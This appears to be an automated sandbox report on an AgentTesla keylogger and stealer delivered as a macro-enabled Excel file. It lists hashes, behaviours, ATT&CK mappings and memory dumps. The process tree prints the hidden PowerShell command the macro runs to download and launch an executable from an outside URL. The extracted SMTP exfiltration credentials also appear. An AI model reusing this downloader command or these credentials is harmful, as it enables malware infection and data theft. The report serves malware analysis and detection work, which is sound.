agenttesla | 37eb0640c85ef74c91b533f1fc7cc1ac9584d648330e105fb37b4231f885576c

General

Target

pnlfui.xlsm
Size

430KB
MD5

4b222ff63ba4a27646751b5dadfd3ed7
SHA1

4786533018798fbbb3083910b2459a80b3e60258
SHA256

37eb0640c85ef74c91b533f1fc7cc1ac9584d648330e105fb37b4231f885576c
SHA512

acbfccde01fde8e1ea84d5b7bca67774275f19c5ad4f4b23da340fec651f92998cbbb12937aefd82f9c13d97bb4d3574bf49ad4918d4aebd3f3403266ea7f4a6
SSDEEP

12288:HfMXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UA:HNwarmMSAGMID1R5OtA

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
sqsendy.shop
Port:
587
Username:
[email protected]
Password:
I^l1gJFLlu#v
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	864	4560	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 864 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

tmpA5E9.exe

pid process

3004 tmpA5E9.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
35	864	powershell.exe

pid	process
3004	tmpA5E9.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

49 api.ipify.org
48 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

tmpA5E9.exe

description pid process target process

PID 3004 set thread context of 4352 3004 tmpA5E9.exe RegAsm.exe

flow	ioc
49	api.ipify.org
48	api.ipify.org

description	pid	process	target process
PID 3004 set thread context of 4352	3004	tmpA5E9.exe	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4560 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exetmpA5E9.exe

pid process

864 powershell.exe
864 powershell.exe
3004 tmpA5E9.exe
3004 tmpA5E9.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exetmpA5E9.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 864 powershell.exe
Token: SeDebugPrivilege 3004 tmpA5E9.exe
Token: SeDebugPrivilege 4352 RegAsm.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4560 EXCEL.EXE
4560 EXCEL.EXE

pid	process
864	powershell.exe
864	powershell.exe
3004	tmpA5E9.exe
3004	tmpA5E9.exe

description	pid	process
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	3004	tmpA5E9.exe
Token: SeDebugPrivilege	4352	RegAsm.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE
4560	EXCEL.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

EXCEL.EXEpowershell.exetmpA5E9.exe

description	pid	process	target process
PID 4560 wrote to memory of 864	4560	EXCEL.EXE	powershell.exe
PID 4560 wrote to memory of 864	4560	EXCEL.EXE	powershell.exe
PID 864 wrote to memory of 3004	864	powershell.exe	tmpA5E9.exe
PID 864 wrote to memory of 3004	864	powershell.exe	tmpA5E9.exe
PID 3004 wrote to memory of 448	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 448	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 448	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe
PID 3004 wrote to memory of 4352	3004	tmpA5E9.exe	RegAsm.exe

outlook_office_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\pnlfui.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://lostheaven.com.cn/wp-includes/BL-1600072563308pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864

C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
"C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:448

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4352

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q2yjwfy2.the.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
Filesize
1.1MB

MD5
439d761548b85536d63cd8e4a8d26d8f

SHA1
67c92467dc3394d628a4f43b6950d7b340a052b5

SHA256
5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292

SHA512
2a33a49dd93dd9a7822e2677e076f82f3e2fa33532012fe95605baba9ad2681e146ebec9f225778d25012f3efadfbba9b86321d23ee8572940cd3aff9304b8a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
Filesize
1.1MB

MD5
439d761548b85536d63cd8e4a8d26d8f

SHA1
67c92467dc3394d628a4f43b6950d7b340a052b5

SHA256
5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292

SHA512
2a33a49dd93dd9a7822e2677e076f82f3e2fa33532012fe95605baba9ad2681e146ebec9f225778d25012f3efadfbba9b86321d23ee8572940cd3aff9304b8a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA5E9.exe
Filesize
1.1MB

MD5
439d761548b85536d63cd8e4a8d26d8f

SHA1
67c92467dc3394d628a4f43b6950d7b340a052b5

SHA256
5b178b34f935328b391d2aaf55c074d8560f09f22035f11309c659c4df2a1292

SHA512
2a33a49dd93dd9a7822e2677e076f82f3e2fa33532012fe95605baba9ad2681e146ebec9f225778d25012f3efadfbba9b86321d23ee8572940cd3aff9304b8a3

Download Submit
memory/864-149-0x00000219F8490000-0x00000219F84A0000-memory.dmp

Filesize
64KB

Download
memory/864-160-0x00000219F8490000-0x00000219F84A0000-memory.dmp

Filesize
64KB

Download
memory/864-155-0x00000219F8440000-0x00000219F8462000-memory.dmp

Filesize
136KB

Download
memory/864-148-0x00000219F8490000-0x00000219F84A0000-memory.dmp

Filesize
64KB

Download
memory/3004-179-0x00000000003D0000-0x00000000004EE000-memory.dmp

Filesize
1.1MB

Download
memory/3004-180-0x000000001B110000-0x000000001B120000-memory.dmp

Filesize
64KB

Download
memory/4352-184-0x0000000005F50000-0x00000000064F4000-memory.dmp

Filesize
5.6MB

Download
memory/4352-197-0x0000000005B30000-0x0000000005B40000-memory.dmp

Filesize
64KB

Download
memory/4352-193-0x00000000075B0000-0x0000000007772000-memory.dmp

Filesize
1.8MB

Download
memory/4352-192-0x0000000007290000-0x00000000072E0000-memory.dmp

Filesize
320KB

Download
memory/4352-191-0x0000000007110000-0x000000000711A000-memory.dmp

Filesize
40KB

Download
memory/4352-190-0x0000000007150000-0x00000000071E2000-memory.dmp

Filesize
584KB

Download
memory/4352-189-0x0000000005B30000-0x0000000005B40000-memory.dmp

Filesize
64KB

Download
memory/4352-188-0x00000000059A0000-0x0000000005A06000-memory.dmp

Filesize
408KB

Download
memory/4352-181-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/4560-135-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-138-0x00007FFF16B00000-0x00007FFF16B10000-memory.dmp

Filesize
64KB

Download
memory/4560-139-0x00007FFF16B00000-0x00007FFF16B10000-memory.dmp

Filesize
64KB

Download
memory/4560-134-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-136-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-165-0x00000237ECEE0000-0x00000237ED089000-memory.dmp

Filesize
1.7MB

Download
memory/4560-137-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-133-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-209-0x00000237ECEE0000-0x00000237ED089000-memory.dmp

Filesize
1.7MB

Download
memory/4560-213-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-214-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-215-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-216-0x00007FFF193D0000-0x00007FFF193E0000-memory.dmp

Filesize
64KB

Download
memory/4560-217-0x00000237ECEE0000-0x00000237ED089000-memory.dmp

Filesize
1.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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